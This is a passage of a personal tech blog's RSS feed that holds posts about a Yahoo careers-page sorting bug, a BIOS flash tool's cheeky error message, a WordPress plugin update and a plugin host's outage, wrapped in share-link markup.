the arrows please! <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' title="Yahoo vs Google: why Yahoo lags behind? (Jumbled Thoughts)" /> ), the sort hasn&#8217;t happened properly. How did the coder miss this? No unit tests <a rel="nofollow" target="_blank" title="funda" href="http://en.wiktionary.org/wiki/funda" target="_blank">funda</a> in Yahoo engineering?? How did the QA team allow this page to go online?</p><p><span id="more-189"></span></p><p>Does this show that Yahoo&#8217;s technical pool lacks the depth usually associated with Google&#8217;s? I believe not. I think you will find dumbos everywhere. I am pretty sure I can find at least one Google engineer who was not aware of dynamic programming before he got hired. With <a rel="nofollow" target="_blank" title="As of Dec 2007" href="http://investor.google.com/releases/2007Q4.html" target="_blank">16,805 employees worldwide</a>, statistically it is impossible for Google to have everyone in it&#8217;s payroll to be the best or even above average. Oops, I am digressing&#8230;the topic of the post is not &#8220;<em>Hype behind Google</em>&#8221; (but that is a nice title&#8230;may be I should make a post on this topic one day&#8230;hmm!) anyway.</p><p>I see a similar trend here in Intel. Intel is huge. Worldwide, it is around <a rel="nofollow" target="_blank" title="Q4 earnings report" href="http://seekingalpha.com/article/60311-intel-q4-2007-earnings-call-transcript?page=2" target="_blank">86,000 in number</a>, which is understandable because of all the cool fabrication units and ATMs that Intel owns and operates. Though the average standard of the Intel employees (persons involved with SW/HW) looks good, I have seen some Intel groups really lacking the depth. I have met lots of brilliant and really talented engineers here, and an equal number of (or more!) dumb engineers too. I think when a company grows, especially by acquiring other small companies, it&#8217;s initial talent pool will keep getting diluted till it becomes just another company. I believe that is what has happened to Yahoo and that is what will happen to Google (or any other, for that matter) one day.</p><p>BTW, the above image is from <a rel="nofollow" target="_blank" title="Careers@Yahoo" href="https://yahoo.recruitmax.com/MAIN/careerportal/Job_List.cfm?szSearchType=Advanced&amp;szSort=Orders.StatusDate&amp;szCachedSearch=1&amp;szDirection=DESC" target="_blank">this link</a> (note that the results may vary now, new reqs get posted daily; Yahoo! India is hiring a lot recently. If you want to dilute the pool, do jump in&#8230;just kidding! <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Yahoo vs Google: why Yahoo lags behind? (Jumbled Thoughts)" /> )</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/new-yahoo-rd-lab-is-yahoo-hiring-or-firing/" rel="bookmark" class="crp_title">New Yahoo R&amp;D lab: Is Yahoo hiring or firing?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/microsoft-wants-to-buy-yahoo/" rel="bookmark" class="crp_title">Microsoft wants to buy Yahoo!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/am-back/" rel="bookmark" class="crp_title">Am back!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/a-story-of-wmds-and-patents/" rel="bookmark" class="crp_title">A story of WMDs and patents</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/crazy-online-sites-einstein/" rel="bookmark" class="crp_title">Crazy online sites &#038; Einstein!</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Yahoo+vs+Google%3A+why+Yahoo+lags+behind%3F+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&amp;title=Yahoo+vs+Google%3A+why+Yahoo+lags+behind%3F" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&amp;title=Yahoo+vs+Google%3A+why+Yahoo+lags+behind%3F" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&amp;title=Yahoo+vs+Google%3A+why+Yahoo+lags+behind%3F&amp;desc=You%20wanna%20know%20why%20Yahoo%20lags%20behind%20Google%3F%20Look%20at%20the%20image%20below%20that%20I%20took%20from%20Yahoo%27s%20careers%20site%20today%20%28WW10.4%29.%20It%20shows%20all%20open%20reqs%2C%20sorted%20by%20date%20%28descending%29.%20%20%20As%20you%20probably%20noticed%20%28follow%20the%20arrows%20please%21%20%3AP%20%29%2C%20the%20sort%20hasn%27t%20happened%20properly.%20How%20did%20the%20coder%20miss%20this%3F%20N" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&amp;bm_description=Yahoo+vs+Google%3A+why+Yahoo+lags+behind%3F&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&amp;title=Yahoo+vs+Google%3A+why+Yahoo+lags+behind%3F" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&amp;title=Yahoo+vs+Google%3A+why+Yahoo+lags+behind%3F" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&amp;title=Yahoo+vs+Google%3A+why+Yahoo+lags+behind%3F" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-189-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/&quot;&gt;Yahoo vs Google: why Yahoo lags behind?&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/feed/</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>Good programmer = Sense of humor + Programming skills</title><link>http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/</link> <comments>http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/#comments</comments> <pubDate>Fri, 27 Jul 2007 12:30:11 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Office]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[dumb]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/</guid> <description><![CDATA[I was trying to setup a debug machine today. My setup required a specific version of BIOS; I booted in to DOS and tried flashing the new version. The flash went on well and during the verification phase, the tool found couple of invalid regions. It automatically tried erasing/flashing again. I was impressed; &#8220;Good. The [...]]]></description> <content:encoded><![CDATA[<p>I was trying to setup a debug machine today. My setup required a specific version of BIOS; I booted in to DOS and tried flashing the new version. The flash went on well and during the verification phase, the tool found couple of invalid regions. It automatically tried erasing/flashing again. I was impressed; &#8220;Good. The programmer is smart enough to implement this auto-retry option, else It&#8217;d have taken ages to find out this data region corruption&#8221;, I thought and was silently thanking that programmer. It was premature, immediately the tool stopped and showed me the following screen.</p><p>[Snapshot: Tool output]<br /> <img src="http://kannan.jumbledthoughts.com/wp-content/upload/2007/07/flashingerror.jpg" alt="Flashing Error" title="Good programmer = Sense of humor + Programming skills (Jumbled Thoughts)" /></p><p>[Close up of the message]<br /> <img src="http://kannan.jumbledthoughts.com/wp-content/upload/2007/07/flashingerrorcloseup.jpg" alt="Flash Error Closeup" title="Good programmer = Sense of humor + Programming skills (Jumbled Thoughts)" /></p><p>The tool very helpfully said &#8220;Your platform is dead &amp; have a nice day!&#8221;. &#8220;Have a nice day&#8221;??? Though, now I need to take the flash, go to the lab and program it using a flash programmer, I couldn&#8217;t help laughing at this cheeky message! <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Good programmer = Sense of humor + Programming skills (Jumbled Thoughts)" /></p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/effectively-debugging-end-user-issues/" rel="bookmark" class="crp_title">Effectively debugging the end-user issues</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-live-writer-problems-with-wordpress-how-to-fix/" rel="bookmark" class="crp_title">Windows Live Writer problems with WordPress &#8211; How To fix?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/meeting-customers/" rel="bookmark" class="crp_title">Meeting the customers!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/testing-windows-live-writer-2008/" rel="bookmark" class="crp_title">Testing Windows Live Writer 2008</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/dumb-code-1/" rel="bookmark" class="crp_title">Dumb Code &#8211; 1</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Good+programmer+%3D+Sense+of+humor+%2B+Programming+skills+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&amp;title=Good+programmer+%3D+Sense+of+humor+%2B+Programming+skills" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&amp;title=Good+programmer+%3D+Sense+of+humor+%2B+Programming+skills" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&amp;title=Good+programmer+%3D+Sense+of+humor+%2B+Programming+skills&amp;desc=I%20was%20trying%20to%20setup%20a%20debug%20machine%20today.%20My%20setup%20required%20a%20specific%20version%20of%20BIOS%3B%20I%20booted%20in%20to%20DOS%20and%20tried%20flashing%20the%20new%20version.%20The%20flash%20went%20on%20well%20and%20during%20the%20verification%20phase%2C%20the%20tool%20found%20couple%20of%20invalid%20regions.%20It%20automatically%20tried%20erasing%2Fflashing%20again.%20I%20was%20i" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&amp;bm_description=Good+programmer+%3D+Sense+of+humor+%2B+Programming+skills&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&amp;title=Good+programmer+%3D+Sense+of+humor+%2B+Programming+skills" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&amp;title=Good+programmer+%3D+Sense+of+humor+%2B+Programming+skills" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&amp;title=Good+programmer+%3D+Sense+of+humor+%2B+Programming+skills" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-152-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/&quot;&gt;Good programmer = Sense of humor + Programming skills&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Thamizmanam plugin updated</title><link>http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/</link> <comments>http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/#comments</comments> <pubDate>Thu, 22 Mar 2007 07:55:42 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Plugins]]></category> <category><![CDATA[Projects]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[plugin]]></category> <category><![CDATA[Thamizmanam]]></category> <category><![CDATA[toolbar]]></category> <category><![CDATA[Wordpress-2.1]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/</guid> <description><![CDATA[I have uploaded the latest version of the plugin here. This version extends support to Blogdesam.com aggregator, apart from Thamizmanam.com. From the options page, now the user can choose the aggregators he/she wants to include. Related Posts:WordPress plugin for Thamizmanam toolbarCoolcode.cn (WordPress plugin) site down!Automatically create Podcasts from your posts &#8211; How To?Firefox memory leak [...]]]></description> <content:encoded><![CDATA[<p>I have uploaded the latest version of the plugin <a title="Thamizmanam plugin page" href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/" target="_blank">here</a>. This version extends support to Blogdesam.com aggregator, apart from Thamizmanam.com. From the options page, now the user can choose the aggregators he/she wants to include.</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/" rel="bookmark" class="crp_title">WordPress plugin for Thamizmanam toolbar</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/" rel="bookmark" class="crp_title">Coolcode.cn (WordPress plugin) site down!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/automatically-create-podcasts-from-your-posts-how-to/" rel="bookmark" class="crp_title">Automatically create Podcasts from your posts &#8211; How To?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/firefox-memory-leak-fix-howto/" rel="bookmark" class="crp_title">Firefox memory leak fix &#8211; How To?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/problemsss/" rel="bookmark" class="crp_title">Problemsss!</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Thamizmanam+plugin+updated+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&amp;title=Thamizmanam+plugin+updated" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&amp;title=Thamizmanam+plugin+updated" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&amp;title=Thamizmanam+plugin+updated&amp;desc=I%20have%20uploaded%20the%20latest%20version%20of%20the%20plugin%20here.%20This%20version%20extends%20support%20to%20Blogdesam.com%20aggregator%2C%20apart%20from%20Thamizmanam.com.%20From%20the%20options%20page%2C%20now%20the%20user%20can%20choose%20the%20aggregators%20he%2Fshe%20wants%20to%20include." rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&amp;bm_description=Thamizmanam+plugin+updated&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&amp;title=Thamizmanam+plugin+updated" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&amp;title=Thamizmanam+plugin+updated" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&amp;title=Thamizmanam+plugin+updated" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-91-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/&quot;&gt;Thamizmanam plugin updated&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Coolcode.cn (WordPress plugin) site down!</title><link>http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/</link> <comments>http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/#comments</comments> <pubDate>Fri, 16 Mar 2007 07:48:03 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[blog]]></category> <category><![CDATA[blogs]]></category> <category><![CDATA[coolplayer]]></category> <category><![CDATA[Custom-hosted-Wordpress]]></category> <category><![CDATA[error-message]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[XMLRPC]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/</guid> <description><![CDATA[Today morning I was surprised to see a couple of mails complaining that the videos I posted earlier here and here are not working! I checked them last night (ok&#8230;at 1am..technically it is today morning!) and they were fine. I use the excellent coolplayer 9.3 plugin in my WordPress blog. I logged in to my [...]]]></description> <content:encoded><![CDATA[<p>Today morning I was surprised to see a couple of mails complaining that the videos I posted earlier <a rel="nofollow" target="_blank" href="http://kannan.jumbledthoughts.com/index.php/why-people-hate-ps3/" title="Why people hate PS3">here</a> and <a href="http://kannan.jumbledthoughts.com/index.php/movies-in-google-videos/" title="Movies in Google videos">here</a> are not working! I checked them last night (ok&#8230;at 1am..technically it is today morning!) and they were fine. I use the excellent <a href="http://www.coolcode.cn/andot/wp-plugins/wordpress-plugin-coolplayer/100" title="Coolplayer" target="_blank">coolplayer 9.3</a> plugin in my WordPress blog. I logged in to my account and checked the coolplayer options. They looked fine, anyway I didn&#8217;t change any of these things and they were working fine yesterday. So, what&#8217;s wrong?</p><p><a href="http://kannan.jumbledthoughts.com/wp-content/upload/Coolplayer_RPC_down.png" target="_new"><img src="http://kannan.jumbledthoughts.com/wp-content/upload/Coolplayer_RPC_down.thumbnail.png" class="inline_image_left" alt="Click to enlarge" title="Coolcode.cn (Wordpress plugin) site down! (Jumbled Thoughts)" /></a></p><p>Then, I noticed that the RPC server ping was not working. As you can see from the picture (click to enlarge, the <font color="#ff0000">RED</font> ones are the errors), the coolcode.cn is returning a <font color="#ff0000"><strong><a rel="nofollow" target="_blank" href="http://www.checkupdown.com/status/E503.html" title="Error 503" target="_blank">503</a></strong></font>. My page just gets blocked for 19-20seconds, trying to get the rpc.php in coolcode to work! The site is obviously down and has taken all my videos down with it, I wonder how many more sites are also affected by this!</p><p>Man, how I wish I had installed the RPC server in my machine <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' title="Coolcode.cn (Wordpress plugin) site down! (Jumbled Thoughts)" /> I couldn&#8217;t find a mirror with that zip anywhere. Till I setup my own RPC server, please do bear with the slow loading speed. Thanks.</p><blockquote><p><strong>Update (Mar 16,07 02:07pm IST)</strong>: Hooray&#8230;.the site is up and I have downloaded the needed zips <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Coolcode.cn (Wordpress plugin) site down! (Jumbled Thoughts)" /></p><p><strong>Update (Mar 16,07 03:00pm IST)</strong>: Ok, I have the RPC setup in my machine now. No more worries.</p></blockquote><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/" rel="bookmark" class="crp_title">WordPress plugin for Thamizmanam toolbar</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-live-writer-problems-with-wordpress-how-to-fix/" rel="bookmark" class="crp_title">Windows Live Writer problems with WordPress &#8211; How To fix?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/howto-fix-the-response-to-the-metaweblognewmediaobject-method-received-from-the-weblog-server-was-invalid/" rel="bookmark" class="crp_title">HowTo: Fix &quot;The response to the metaWeblog.newMediaObject method received from the weblog server was invalid&quot;</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/automatically-create-podcasts-from-your-posts-how-to/" rel="bookmark" class="crp_title">Automatically create Podcasts from your posts &#8211; How To?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/howto-streaming-musicphotosvideos-to-wii/" rel="bookmark" class="crp_title">HowTo: Streaming music/photos/videos to Wii</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Coolcode.cn+%28Wordpress+plugin%29+site+down%21+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&amp;title=Coolcode.cn+%28Wordpress+plugin%29+site+down%21" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&amp;title=Coolcode.cn+%28Wordpress+plugin%29+site+down%21" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&amp;title=Coolcode.cn+%28Wordpress+plugin%29+site+down%21&amp;desc=Today%20morning%20I%20was%20surprised%20to%20see%20a%20couple%20of%20mails%20complaining%20that%20the%20videos%20I%20posted%20earlier%20here%20and%20here%20are%20not%20working%21%20I%20checked%20them%20last%20night%20%28ok...at%201am..technically%20it%20is%20today%20morning%21%29%20and%20they%20were%20fine.%20I%20use%20the%20excellent%20coolplayer%209.3%20plugin%20in%20my%20Wordpress%20blog.%20I%20logged%20in" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&amp;bm_description=Coolcode.cn+%28Wordpress+plugin%29+site+down%21&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&amp;title=Coolcode.cn+%28Wordpress+plugin%29+site+down%21" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&amp;title=Coolcode.cn+%28Wordpress+plugin%29+site+down%21" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&amp;title=Coolcode.cn+%28Wordpress+plugin%29+site+down%21" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-86-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/&quot;&gt;Coolcode.cn (WordPress plugin) site down!&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/coolplayer-not-working-site-down/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>WP-Mollio comment_form hook fix &#8211; HowTo?</title><link>http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/</link> <comments>http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/#comments</comments> <pubDate>Sat, 10 Mar 2007 08:41:00 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[HowTo]]></category> <category><![CDATA[Plugins]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[blogs]]></category> <category><![CDATA[coding]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Themes]]></category> <category><![CDATA[Tips]]></category> <category><![CDATA[tutor]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/wpmollio-fix-comment_form/</guid> <description><![CDATA[If you are using WP-Mollio theme in your WordPress site, I&#8217;d suggest adding the comment_form hook in to your comments.php. Only if you have this statement, the plugins like &#8220;Subscribe-to-comments&#8221; will work. How to add this hook? Open comments.php Find the lines of code shown below. You will find it near the end of the [...]]]></description> <content:encoded><![CDATA[<p>If you are using <a rel="nofollow" target="_blank" 